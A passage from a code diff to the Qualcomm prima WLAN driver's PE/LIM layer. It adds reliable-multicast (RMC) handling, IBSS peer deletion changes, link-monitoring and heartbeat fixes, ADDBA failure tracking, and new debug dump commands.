pStaDs->ucBcastSig; + +#ifdef WLAN_FEATURE_RMC + limRmcTransmitterDelete(pMac, pStaDs->staAddr); +#endif /* WLAN_FEATURE_RMC */ + + /* Send DEL STA only if STA id is valid, mean ADD STA was + * success. + */ + if(HAL_STA_INVALID_IDX != staIndex) + limDelSta(pMac, pStaDs, false /*asynchronous*/, psessionEntry); + limDeleteDphHashEntry(pMac, + pStaDs->staAddr, peerIdx, psessionEntry); + limReleasePeerIdx(pMac, peerIdx, psessionEntry); + + /* Send indication to upper layers only if ADD STA was success + * i.e staid is Valid. + */ + if(HAL_STA_INVALID_IDX != staIndex) + ibss_status_chg_notify(pMac, macAddr, staIndex, + ucUcastSig, ucBcastSig, + eWNI_SME_IBSS_PEER_DEPARTED_IND, + psessionEntry->smeSessionId ); + if (pTempNode == pMac->lim.gLimIbssPeerList) + { + pMac->lim.gLimIbssPeerList = pTempNode->next; + pPrevNode = pMac->lim.gLimIbssPeerList; + } + else + pPrevNode->next = pTempNode->next; + + vos_mem_free(pTempNode); + pMac->lim.gLimNumIbssPeers--; + + pTempNode = pTempNextNode; + break; + } + } + pPrevNode = pTempNode; + pTempNode = pTempNextNode; + } + /* + * if it is the last peer walking out, we better + * we set IBSS state to inactive. + */ + if (0 == pMac->lim.gLimNumIbssPeers) + { + VOS_TRACE(VOS_MODULE_ID_PE, VOS_TRACE_LEVEL_INFO, + "Last STA from IBSS walked out"); + psessionEntry->limIbssActive = false; + } +} + /* handle the response from HAL for an ADD STA request */ tSirRetStatus limIbssAddStaRsp( @@ -1158,19 +1252,25 @@ limIbssAddStaRsp( return eSIR_FAILURE; } - pStaDs = dphLookupHashEntry(pMac, pAddStaParams->staMac, &peerIdx, &psessionEntry->dph.dphHashTable); + pStaDs = dphLookupHashEntry(pMac, + pAddStaParams->staMac, &peerIdx, + &psessionEntry->dph.dphHashTable); if (pStaDs == NULL) { - PELOGE(limLog(pMac, LOGE, FL("IBSS: ADD_STA_RSP for unknown MAC addr "));) - limPrintMacAddr(pMac, pAddStaParams->staMac, LOGE); + limLog(pMac, LOGE, + FL("IBSS: ADD_STA_RSP for unknown MAC addr: "MAC_ADDRESS_STR), + MAC_ADDR_ARRAY(pAddStaParams->staMac)); vos_mem_free(pAddStaParams); return eSIR_FAILURE; } if (pAddStaParams->status != eHAL_STATUS_SUCCESS) { - PELOGE(limLog(pMac, LOGE, FL("IBSS: ADD_STA_RSP error (%x) "), pAddStaParams->status);) - limPrintMacAddr(pMac, pAddStaParams->staMac, LOGE); + limLog(pMac, LOGE, + FL("IBSS: ADD_STA_RSP error (%x) from MAC: " MAC_ADDRESS_STR), + pAddStaParams->status, MAC_ADDR_ARRAY(pAddStaParams->staMac)); + __limIbssSearchAndDeletePeer(pMac, + psessionEntry, pAddStaParams->staMac); vos_mem_free(pAddStaParams); return eSIR_FAILURE; } @@ -1184,10 +1284,15 @@ limIbssAddStaRsp( PELOGW(limLog(pMac, LOGW, FL("IBSS: sending IBSS_NEW_PEER msg to SME!"));) - ibss_status_chg_notify(pMac, pAddStaParams->staMac, pStaDs->staIndex, + ibss_status_chg_notify(pMac, pAddStaParams->staMac, pStaDs->staIndex, pStaDs->ucUcastSig, pStaDs->ucBcastSig, eWNI_SME_IBSS_NEW_PEER_IND, psessionEntry->smeSessionId); + +#ifdef WLAN_FEATURE_RMC + limRmcTriggerRulerSelection(pMac, psessionEntry->selfMacAddr); +#endif + vos_mem_free(pAddStaParams); return eSIR_SUCCESS; @@ -1266,8 +1371,6 @@ void limIbssAddBssRspWhenCoalescing(tpAniSirGlobal pMac, void *msg, tpPESession ibss_coalesce_free(pMac); } - - void limIbssDelBssRsp( tpAniSirGlobal pMac, @@ -1353,80 +1456,6 @@ limIbssDelBssRsp( } } -static void -__limIbssSearchAndDeletePeer(tpAniSirGlobal pMac, - tpPESession psessionEntry, - tSirMacAddr macAddr) -{ - tLimIbssPeerNode *pTempNode, *pPrevNode; - tLimIbssPeerNode *pTempNextNode = NULL; - tpDphHashNode pStaDs=NULL; - tANI_U16 peerIdx=0; - tANI_U16 staIndex=0; - tANI_U8 ucUcastSig; - tANI_U8 ucBcastSig; - - pPrevNode = pTempNode = pMac->lim.gLimIbssPeerList; - - limLog(pMac, LOG1, FL(" PEER ADDR :" MAC_ADDRESS_STR ),MAC_ADDR_ARRAY(macAddr)); - - /** Compare Peer */ - while (NULL != pTempNode) - { - pTempNextNode = pTempNode->next; - - /* Delete the STA with MAC address */ - if (vos_mem_compare( (tANI_U8 *) macAddr, - (tANI_U8 *) &pTempNode->peerMacAddr, - sizeof(tSirMacAddr)) ) - { - pStaDs = dphLookupHashEntry(pMac, macAddr, - &peerIdx, &psessionEntry->dph.dphHashTable); - if (pStaDs) - { - staIndex = pStaDs->staIndex; - ucUcastSig = pStaDs->ucUcastSig; - ucBcastSig = pStaDs->ucBcastSig; - - (void) limDelSta(pMac, pStaDs, false /*asynchronous*/, psessionEntry); - limDeleteDphHashEntry(pMac, pStaDs->staAddr, peerIdx, psessionEntry); - limReleasePeerIdx(pMac, peerIdx, psessionEntry); - - /* Send indication to upper layers */ - ibss_status_chg_notify(pMac, macAddr, staIndex, - ucUcastSig, ucBcastSig, - eWNI_SME_IBSS_PEER_DEPARTED_IND, - psessionEntry->smeSessionId ); - if (pTempNode == pMac->lim.gLimIbssPeerList) - { - pMac->lim.gLimIbssPeerList = pTempNode->next; - pPrevNode = pMac->lim.gLimIbssPeerList; - } - else - pPrevNode->next = pTempNode->next; - - vos_mem_free(pTempNode); - pMac->lim.gLimNumIbssPeers--; - - pTempNode = pTempNextNode; - break; - } - } - pPrevNode = pTempNode; - pTempNode = pTempNextNode; - } - /* - * if it is the last peer walking out, we better - * we set IBSS state to inactive. - */ - if (0 == pMac->lim.gLimNumIbssPeers) - { - VOS_TRACE(VOS_MODULE_ID_PE, VOS_TRACE_LEVEL_INFO, - "Last STA from IBSS walked out"); - psessionEntry->limIbssActive = false; - } -} - /** * limIbssCoalesce() * @@ -1679,6 +1708,10 @@ void limIbssHeartBeatHandle(tpAniSirGlobal pMac,tpPESession psessionEntry) ucUcastSig = pStaDs->ucUcastSig; ucBcastSig = pStaDs->ucBcastSig; +#ifdef WLAN_FEATURE_RMC + limRmcTransmitterDelete(pMac, pStaDs->staAddr); +#endif /* WLAN_FEATURE_RMC */ + (void) limDelSta(pMac, pStaDs, false /*asynchronous*/,psessionEntry); limDeleteDphHashEntry(pMac, pStaDs->staAddr, peerIdx,psessionEntry); limReleasePeerIdx(pMac, peerIdx, psessionEntry); diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limLinkMonitoringAlgo.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limLinkMonitoringAlgo.c index 1c92204fb81a6..36b7a68a8b129 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limLinkMonitoringAlgo.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limLinkMonitoringAlgo.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -166,7 +166,12 @@ limDeleteStaContext(tpAniSirGlobal pMac, tpSirMsgQ limMsg) return; } else + { + limSendDisassocMgmtFrame(pMac, + eSIR_MAC_DISASSOC_DUE_TO_INACTIVITY_REASON, + pStaDs->staAddr, psessionEntry, FALSE); limTriggerSTAdeletion(pMac, pStaDs, psessionEntry); + } } else { @@ -290,82 +295,40 @@ limDeleteStaContext(tpAniSirGlobal pMac, tpSirMsgQ limMsg) void limTriggerSTAdeletion(tpAniSirGlobal pMac, tpDphHashNode pStaDs, tpPESession psessionEntry) { - tSirSmeDeauthReq *pSmeDeauthReq; - tANI_U8 *pBuf; - tANI_U8 *pLen; - tANI_U16 msgLength = 0; - - if (! pStaDs) - { - PELOGW(limLog(pMac, LOGW, FL("Skip STA deletion (invalid STA)"));) - return; - } - /** - * MAC based Authentication was used. Trigger - * Deauthentication frame to peer since it will - * take care of disassociation as well. - */ - - pSmeDeauthReq = vos_mem_malloc(sizeof(tSirSmeDeauthReq)); - if (NULL == pSmeDeauthReq) - { - limLog(pMac, LOGP, FL("AllocateMemory failed for eWNI_SME_DEAUTH_REQ ")); - return; - } - - pBuf = (tANI_U8 *) &pSmeDeauthReq->messageType; - - //messageType - limCopyU16((tANI_U8*)pBuf, eWNI_SME_DISASSOC_REQ); - pBuf += sizeof(tANI_U16); - msgLength += sizeof(tANI_U16); - - //length - pLen = pBuf; - pBuf += sizeof(tANI_U16); - msgLength += sizeof(tANI_U16); - - //sessionId - *pBuf = psessionEntry->smeSessionId; - pBuf++; - msgLength++; - - //transactionId - limCopyU16((tANI_U8*)pBuf, psessionEntry->transactionId); - pBuf += sizeof(tANI_U16); - msgLength += sizeof(tANI_U16); - - //bssId - vos_mem_copy(pBuf, psessionEntry->bssId, sizeof(tSirMacAddr)); - pBuf += sizeof(tSirMacAddr); - msgLength += sizeof(tSirMacAddr); - - //peerMacAddr - vos_mem_copy(pBuf, pStaDs->staAddr, sizeof(tSirMacAddr)); - pBuf += sizeof(tSirMacAddr); - msgLength += sizeof(tSirMacAddr); - - //reasonCode - limCopyU16((tANI_U8*)pBuf, - (tANI_U16)eSIR_MAC_DISASSOC_DUE_TO_INACTIVITY_REASON); - pBuf += sizeof(tANI_U16); - msgLength += sizeof(tANI_U16); - - //Do not send disassoc OTA - //pBuf[0] = 1 means do not send the disassoc frame over the air - //pBuf[0] = 0 means send the disassoc frame over the air - pBuf[0]= 0; - pBuf += sizeof(tANI_U8); - msgLength += sizeof(tANI_U8); - - - - //Fill in length - limCopyU16((tANI_U8*)pLen , msgLength); - - limPostSmeMessage(pMac, eWNI_SME_DISASSOC_REQ, (tANI_U32 *) pSmeDeauthReq); - vos_mem_free(pSmeDeauthReq); - + tLimMlmDisassocInd mlmDisassocInd; + + + if (!pStaDs) + { + PELOGW(limLog(pMac, LOGW, FL("Skip STA deletion (invalid STA)"));) + return; + } + + if ((pStaDs->mlmStaContext.mlmState == eLIM_MLM_WT_DEL_STA_RSP_STATE) || + (pStaDs->mlmStaContext.mlmState == eLIM_MLM_WT_DEL_BSS_RSP_STATE)|| + pStaDs->sta_deletion_in_progress) { + /* Already in the process of deleting context for the peer */ + limLog(pMac, LOG1, + FL("Deletion is in progress (%d) for peer:%p in mlmState %d"), + pStaDs->sta_deletion_in_progress, pStaDs->staAddr, + pStaDs->mlmStaContext.mlmState); + return; + } + pStaDs->sta_deletion_in_progress = true; + pStaDs->mlmStaContext.disassocReason = + eSIR_MAC_DISASSOC_DUE_TO_INACTIVITY_REASON; + pStaDs->mlmStaContext.cleanupTrigger = eLIM_LINK_MONITORING_DISASSOC; + vos_mem_copy(&mlmDisassocInd.peerMacAddr, pStaDs->staAddr, + sizeof(tSirMacAddr)); + mlmDisassocInd.reasonCode = eSIR_MAC_DISASSOC_DUE_TO_INACTIVITY_REASON; + mlmDisassocInd.disassocTrigger = eLIM_LINK_MONITORING_DISASSOC; + + /* Update PE session Id */ + mlmDisassocInd.sessionId = psessionEntry->peSessionId; + limPostSmeMessage(pMac, LIM_MLM_DISASSOC_IND, + (tANI_U32 *) &mlmDisassocInd); + // Issue Disassoc Indication to SME. + limSendSmeDisassocInd(pMac, pStaDs, psessionEntry); } /*** end limTriggerSTAdeletion() ***/ @@ -519,11 +482,19 @@ void limHandleHeartBeatFailure(tpAniSirGlobal pMac,tpPESession psessionEntry) { if (!pMac->sys.gSysEnableLinkMonitorMode) return; + /* Ignore HB if channel switch is in progress */ + if (psessionEntry->gLimSpecMgmt.dot11hChanSwState == + eLIM_11H_CHANSW_RUNNING) { + limLog(pMac, LOGE, + FL("Ignore Heartbeat failure as Channel switch is in progress")); + pMac->pmm.inMissedBeaconScenario = false; + return; + } /** * Beacon frame not received within heartbeat timeout. */ - PELOGW(limLog(pMac, LOGW, FL("Heartbeat Failure"));) + limLog(pMac, LOGW, FL("Heartbeat Failure")); pMac->lim.gLimHBfailureCntInLinkEstState++; /** diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limLogDump.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limLogDump.c index f0a6f45d05b0c..9280c7d1c0f89 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limLogDump.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limLogDump.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2013, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -57,6 +57,10 @@ Implements the dump commands specific to the lim module. #endif #include "smeInside.h" #include "wlan_qct_wda.h" +#ifdef WLAN_FEATURE_RMC +#include "wlan_qct_tl.h" +#include "limRMC.h" +#endif #include "wlan_qct_wdi_dts.h" void WDA_TimerTrafficStatsInd(tWDA_CbContext *pWDA); @@ -1208,7 +1212,7 @@ dump_lim_send_SM_Power_Mode( tpAniSirGlobal pMac, tANI_U32 arg1, tANI_U32 arg2, state = (tSirMacHTMIMOPowerSaveState) arg1; pMBMsg = vos_mem_malloc(WNI_CFG_MB_HDR_LEN + sizeof(tSirMacHTMIMOPowerSaveState)); - if(NULL == pMBMsg) + if (NULL == pMBMsg) { p += log_sprintf( pMac,p, "pMBMsg is NULL\n"); return p; @@ -1516,6 +1520,8 @@ dump_lim_get_pe_statistics(tpAniSirGlobal pMac, tANI_U32 arg1, tANI_U32 arg2, tA case 5: statsMask = PE_PER_STA_STATS_INFO; break; + case 6: + statsMask = PE_PER_TX_PKT_STATS_INFO; default: return p; } @@ -2366,6 +2372,102 @@ dump_lim_get_pkts_rcvd_per_rssi_values( tpAniSirGlobal pMac, tANI_U32 arg1, tANI } #endif +#ifdef WLAN_FEATURE_RMC + +static char * +dump_lim_enable_rmc_data_path +( + tpAniSirGlobal pMac, + tANI_U32 arg1, + tANI_U32 arg2, + tANI_U32 arg3, + tANI_U32 arg4, + char *p +) +{ + v_MACADDR_t rmcTransmitterAddr; + v_VOID_t * pVosContext = vos_get_global_context(VOS_MODULE_ID_WDA, NULL); + + rmcTransmitterAddr.bytes[0] = (tANI_U8)((arg1 & 0xFF000000) >> 24); + rmcTransmitterAddr.bytes[1] = (tANI_U8)((arg1 & 0x00FF0000) >> 16); + rmcTransmitterAddr.bytes[2] = (tANI_U8)((arg1 & 0x0000FF00) >> 8); + rmcTransmitterAddr.bytes[3] = (tANI_U8)((arg1 & 0x000000FF)); + rmcTransmitterAddr.bytes[4] = (tANI_U8)((arg2 & 0xFF000000) >> 24); + rmcTransmitterAddr.bytes[5] = (tANI_U8)((arg2 & 0x00FF0000) >> 16); + + limLog(pMac, LOGE, + FL("Enable RMC data path for MCAST transmitter:" MAC_ADDRESS_STR), + MAC_ADDR_ARRAY( rmcTransmitterAddr.bytes)); + + /*Input format is in MAC address fromat for example + iwpriv wlan0 dump 0xaabbccdd 0xeeff0000 translates into enable RMC for + MAC address 0xaa:0xbb:0xcc:0xdd:0xee:0xff*/ + + /*Enable TL data path*/ + WLANTL_EnableRMC( pVosContext, &rmcTransmitterAddr ); + + return p; +} + +static char * +dump_lim_disable_rmc_data_path +( + tpAniSirGlobal pMac, + tANI_U32 arg1, + tANI_U32 arg2, + tANI_U32 arg3, + tANI_U32 arg4, + char *p +) +{ + v_MACADDR_t rmcTransmitterAddr; + v_VOID_t * pVosContext = vos_get_global_context(VOS_MODULE_ID_WDA, NULL); + + rmcTransmitterAddr.bytes[0] = (tANI_U8)((arg1 & 0xFF000000) >> 24); + rmcTransmitterAddr.bytes[1] = (tANI_U8)((arg1 & 0x00FF0000) >> 16); + rmcTransmitterAddr.bytes[2] = (tANI_U8)((arg1 & 0x0000FF00) >> 8); + rmcTransmitterAddr.bytes[3] = (tANI_U8)((arg1 & 0x000000FF)); + rmcTransmitterAddr.bytes[4] = (tANI_U8)((arg2 & 0xFF000000) >> 24); + rmcTransmitterAddr.bytes[5] = (tANI_U8)((arg2 & 0x00FF0000) >> 16); + + + limLog(pMac, LOGE, + FL("Disable RMC data path for MCAST transmitter:" MAC_ADDRESS_STR), + MAC_ADDR_ARRAY( rmcTransmitterAddr.bytes)); + + /*Input format is in MAC address fromat for example + iwpriv wlan0 dump 0xaabbccdd 0xeeff0000 translates into enable RMC for + MAC address 0xaa:0xbb:0xcc:0xdd:0xee:0xff*/ + + /*Disable TL data path*/ + WLANTL_DisableRMC( pVosContext, &rmcTransmitterAddr ); + + return p; +} + +static char * +dump_lim_rmc_status(tpAniSirGlobal pMac, tANI_U32 arg1, tANI_U32 arg2, + tANI_U32 arg3, tANI_U32 arg4, char *p) +{ + limRmcDumpStatus(pMac); + return p; +} + +static char * +dump_set_mcast_dup_detect(tpAniSirGlobal pMac, tANI_U32 arg1, tANI_U32 arg2, + tANI_U32 arg3, tANI_U32 arg4, char *p) +{ + v_VOID_t * pVosContext = vos_get_global_context(VOS_MODULE_ID_WDA, NULL); + v_U8_t enable; + + enable = (tANI_U8)arg1; + + /* Enable or Disable Multicast Duplicate Detection */ + WLANTL_SetMcastDuplicateDetection( pVosContext, enable); + + return p; +} +#endif /* WLAN_FEATURE_RMC */ static char * dump_set_max_probe_req(tpAniSirGlobal pMac, tANI_U32 arg1, tANI_U32 arg2, @@ -2465,7 +2567,17 @@ static tDumpFuncEntry limMenuDumpTable[] = { {369, "PE.LIM: pkts/rateIdx: iwpriv wlan0 dump 368 ", dump_lim_get_pkts_rcvd_per_rate_idx}, {370, "PE.LIM: pkts/rssi: : iwpriv wlan0 dump 369 ", dump_lim_get_pkts_rcvd_per_rssi_values}, #endif +#ifdef WLAN_FEATURE_RMC + {371, "PE.LIM: Enable RMC data path in TL for input MCAST addr", + dump_lim_enable_rmc_data_path }, + {372, "PE.LIM: Disable RMC data path in TL for input MCAST addr", + dump_lim_disable_rmc_data_path }, + {373, "PE.LIM: Dump RMC transmitter and ruler status", dump_lim_rmc_status }, +#endif /* WLAN_FEATURE_RMC */ {374, "PE.LIM: MAS RX stats MAC eff ", dump_limRateInfoBasedOnMacEff}, +#ifdef WLAN_FEATURE_RMC + {375, "PE.LIM: Enable(1)/Disable(0) RMC duplicate detection", dump_set_mcast_dup_detect }, +#endif /* WLAN_FEATURE_RMC */ {376, "PE.LIM: max number of probe per scan", dump_set_max_probe_req }, }; diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limP2P.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limP2P.c index 67f0e95b465bb..d3028fe4ec970 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limP2P.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limP2P.c @@ -342,7 +342,8 @@ tSirRetStatus limCreateSessionForRemainOnChn(tpAniSirGlobal pMac, tPESession **p } /* Store PE sessionId in session Table */ psessionEntry->peSessionId = sessionId; - + /* Store SME session Id in sessionTable */ + psessionEntry->smeSessionId = pMac->lim.gpLimRemainOnChanReq->sessionId; psessionEntry->limSystemRole = eLIM_P2P_DEVICE_ROLE; CFG_GET_STR( nSirStatus, pMac, WNI_CFG_SUPPORTED_RATES_11A, psessionEntry->rateSet.rate, val , SIR_MAC_MAX_NUMBER_OF_RATES ); diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessActionFrame.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessActionFrame.c index bff5151b048a9..ab54e41c0f37a 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessActionFrame.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessActionFrame.c @@ -59,6 +59,9 @@ #include "rrmApi.h" #endif #include "limSessionUtils.h" +#ifdef WLAN_FEATURE_RMC +#include "limRMC.h" +#endif #if defined(FEATURE_WLAN_ESE) && !defined(FEATURE_WLAN_ESE_UPLOAD) #include "eseApi.h" @@ -175,6 +178,11 @@ tSirRetStatus limStartChannelSwitch(tpAniSirGlobal pMac, tpPESession psessionEnt limLog(pMac, LOGW, FL("Ignoring channel switch on session %d"), psessionEntry->peSessionId); return eSIR_SUCCESS; } +#ifdef FEATURE_WLAN_DIAG_SUPPORT + limDiagEventReport(pMac, WLAN_PE_DIAG_CHANNEL_SWITCH_ANOUNCEMENT, + psessionEntry, eSIR_SUCCESS, LIM_SWITCH_CHANNEL_CSA); +#endif + psessionEntry->channelChangeCSA = LIM_SWITCH_CHANNEL_CSA; /* Deactivate and change reconfigure the timeout value */ //limDeactivateAndChangeTimer(pMac, eLIM_CHANNEL_SWITCH_TIMER); @@ -1312,8 +1320,8 @@ __limProcessAddBAReq( tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo,tpPESession ps if (!(IS_HWSTA_IDX(pSta->staIndex))) { status = eSIR_MAC_REQ_DECLINED_STATUS; - limLog( pMac, LOGE, - FL( "Sta Id is not HW Sta Id, Status code is %d " ), status); + limLog( pMac, LOG1, + FL( "ta Id is not HW Sta Id, Status code is %d " ), status); goto returnAfterError; } #endif //WLAN_SOFTAP_VSTA_FEATURE @@ -1524,7 +1532,8 @@ tANI_U8 *pBody; if(eSIR_SUCCESS != limSearchAndDeleteDialogueToken(pMac, frmAddBARsp.DialogToken.token, pSta->assocId, frmAddBARsp.AddBAParameterSet.tid)) { - PELOGW(limLog(pMac, LOGE, FL("dialogueToken in received addBARsp did not match with outstanding requests"));) + limLog(pMac, LOGE, + FL("dialogueToken in received addBARsp did not match with outstanding requests")); return; } @@ -1532,6 +1541,10 @@ tANI_U8 *pBody; if( eSIR_MAC_SUCCESS_STATUS == frmAddBARsp.Status.status ) { tANI_U32 val; + pMac->lim.staBaInfo[pSta->staIndex]. + failed_count[frmAddBARsp.AddBAParameterSet.tid] = 0; + pMac->lim.staBaInfo[pSta->staIndex]. + failed_timestamp[frmAddBARsp.AddBAParameterSet.tid] = 0; if (wlan_cfgGetInt(pMac, WNI_CFG_NUM_BUFF_ADVERT , &val) != eSIR_SUCCESS) { limLog(pMac, LOG1, FL("Unable to get WNI_CFG_NUM_BUFF_ADVERT")); @@ -1558,8 +1571,13 @@ tANI_U8 *pBody; } } else + { + pMac->lim.staBaInfo[pSta->staIndex]. + failed_count[frmAddBARsp.AddBAParameterSet.tid]++; + pMac->lim.staBaInfo[pSta->staIndex].failed_timestamp[ + frmAddBARsp.AddBAParameterSet.tid] = jiffies_to_msecs(jiffies); goto returnAfterError; - + } // Change STA state to wait for ADDBA Rsp from HAL LIM_SET_STA_BA_STATE(pSta, frmAddBARsp.AddBAParameterSet.tid, eLIM_BA_STATE_WT_ADD_RSP); @@ -2260,6 +2278,12 @@ limProcessActionFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo,tpPESession ps switch (pActionHdr->category) { + + /* + * WARNING: If you add Action frame category case here, set the + * corresponding bit to 1 in sme_set_allowed_action_frames() for + * the FW to hand over that frame to host without dropping itself + */ case SIR_MAC_ACTION_QOS_MGMT: if ( (psessionEntry->limQosEnabled) || (pActionHdr->actionID == SIR_MAC_QOS_MAP_CONFIGURE) ) @@ -2422,7 +2446,9 @@ limProcessActionFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo,tpPESession ps } #if defined WLAN_FEATURE_VOWIFI case SIR_MAC_ACTION_RRM: - if( pMac->rrm.rrmPEContext.rrmEnable ) + /* Ignore RRM measurement request until DHCP is set */ + if(pMac->rrm.rrmPEContext.rrmEnable && + pMac->roam.roamSession[psessionEntry->smeSessionId].dhcp_done) { switch(pActionHdr->actionID) { case SIR_MAC_RRM_RADIO_MEASURE_REQ: @@ -2445,11 +2471,14 @@ limProcessActionFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo,tpPESession ps { // Else we will just ignore the RRM messages. limLog( pMac, LOG1, - FL("RRM Action frame ignored as RRM is disabled in cfg")); + FL("RRM Action frame ignored as rrmEnable is %d or DHCP not completed %d"), + pMac->rrm.rrmPEContext.rrmEnable, + pMac->roam.roamSession[psessionEntry->smeSessionId].dhcp_done); } break; #endif -#if defined (WLAN_FEATURE_VOWIFI_11R) || defined (FEATURE_WLAN_ESE) || defined(FEATURE_WLAN_LFR) +#if defined (WLAN_FEATURE_VOWIFI_11R) || defined (FEATURE_WLAN_ESE) || defined(FEATURE_WLAN_LFR) \ + || defined (WLAN_FEATURE_RMC) case SIR_MAC_ACTION_VENDOR_SPECIFIC_CATEGORY: { tpSirMacVendorSpecificFrameHdr pVendorSpecific = (tpSirMacVendorSpecificFrameHdr) pActionHdr; @@ -2473,6 +2502,57 @@ limProcessActionFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo,tpPESession ps pRxPacketInfo, psessionEntry, 0); } +#if defined (WLAN_FEATURE_RMC) + else if ((eLIM_STA_IN_IBSS_ROLE == psessionEntry->limSystemRole) && + ((VOS_TRUE == vos_mem_compare(SIR_MAC_RMC_MCAST_ADDRESS, + &pHdr->da[0], sizeof(tSirMacAddr))) || + (VOS_TRUE == vos_mem_compare(psessionEntry->selfMacAddr, + &pHdr->da[0], sizeof(tSirMacAddr)))) && + vos_mem_compare(pVendorSpecific->Oui, SIR_MAC_RMC_OUI, 3)) + { + tANI_U8 MagicCode[] = + { 0x4f, 0x58, 0x59, 0x47, 0x45, 0x4e }; + tpSirMacIbssExtNetworkFrameHdr pIbssExtHdr = + (tpSirMacIbssExtNetworkFrameHdr) pActionHdr; + + if (vos_mem_compare(pIbssExtHdr->MagicCode, + MagicCode, sizeof(MagicCode)) && + pIbssExtHdr->version == SIR_MAC_RMC_VER ) + { + switch (pIbssExtHdr->actionID) + { + default: + PELOGE(limLog(pMac, LOGE, + FL("Action RMC actionID %d not handled"), + pIbssExtHdr->actionID);) + break; + case SIR_MAC_RMC_RULER_INFORM_SELECTED: + limLog(pMac, LOG1, + FL("Action RMC RULER_INFORM_SELECTED.")); + limProcessRMCMessages(pMac, + eLIM_RMC_OTA_RULER_INFORM_SELECTED, + (tANI_U32 *)pRxPacketInfo); + break; + case SIR_MAC_RMC_RULER_INFORM_CANCELLED: + limLog(pMac, LOG1, + FL("Action RMC RULER_INFORM_CANCELLED.")); + limProcessRMCMessages(pMac, + eLIM_RMC_OTA_RULER_INFORM_CANCELLED, + (tANI_U32 *)pRxPacketInfo); + break; + } + } + else + { + limLog( pMac, LOG1, + FL("Dropping the vendor specific action frame in IBSS " + "mode because of Ibss Ext Magic mismatch " + MAC_ADDRESS_STR " or Version mismatch = %d"), + MAC_ADDR_ARRAY(pIbssExtHdr->MagicCode), + pIbssExtHdr->version ); + } + } +#endif /* WLAN_FEATURE_RMC */ else { limLog( pMac, LOG1, @@ -2486,7 +2566,8 @@ limProcessActionFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo,tpPESession ps } } break; -#endif +#endif /* WLAN_FEATURE_VOWIFI_11R || FEATURE_WLAN_ESE || + FEATURE_WLAN_LFR || WLAN_FEATURE_RMC */ case SIR_MAC_ACTION_PUBLIC_USAGE: switch(pActionHdr->actionID) { case SIR_MAC_ACTION_VENDOR_SPECIFIC: diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessAssocReqFrame.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessAssocReqFrame.c index 5728b302f734b..66eef4aae2e7a 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessAssocReqFrame.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessAssocReqFrame.c @@ -1645,6 +1645,9 @@ void limSendMlmAssocInd(tpAniSirGlobal pMac, tpDphHashNode pStaDs, tpPESession p pMlmAssocInd->beaconPtr = psessionEntry->beacon; pMlmAssocInd->beaconLength = psessionEntry->bcnLen; + pMlmAssocInd->rate_flags = + limGetMaxRateFlags(pStaDs, psessionEntry); + limPostSmeMessage(pMac, LIM_MLM_ASSOC_IND, (tANI_U32 *) pMlmAssocInd); vos_mem_free(pMlmAssocInd); } diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessAssocRspFrame.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessAssocRspFrame.c index efee182c99f4d..d08df5b6355ce 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessAssocRspFrame.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessAssocRspFrame.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -85,6 +85,8 @@ void limUpdateAssocStaDatas(tpAniSirGlobal pMac, tpDphHashNode pStaDs, tpSirAsso //tpSirBoardCapabilities pBoardCaps; tANI_BOOLEAN qosMode; tANI_U16 rxHighestRate = 0; + uint32_t shortgi_20mhz_support; + uint32_t shortgi_40mhz_support; limGetPhyMode(pMac, &phyMode, psessionEntry); @@ -131,8 +133,6 @@ void limUpdateAssocStaDatas(tpAniSirGlobal pMac, tpDphHashNode pStaDs, tpSirAsso pStaDs->htMaxAmsduLength = ( tANI_U8 ) pAssocRsp->HTCaps.maximalAMSDUsize; pStaDs->htAMpduDensity = pAssocRsp->HTCaps.mpduDensity; pStaDs->htDsssCckRate40MHzSupport = (tANI_U8)pAssocRsp->HTCaps.dsssCckMode40MHz; - pStaDs->htShortGI20Mhz = (tANI_U8)pAssocRsp->HTCaps.shortGI20MHz; - pStaDs->htShortGI40Mhz = (tANI_U8)pAssocRsp->HTCaps.shortGI40MHz; pStaDs->htMaxRxAMpduFactor = pAssocRsp->HTCaps.maxRxAMPDUFactor; limFillRxHighestSupportedRate(pMac, &rxHighestRate, 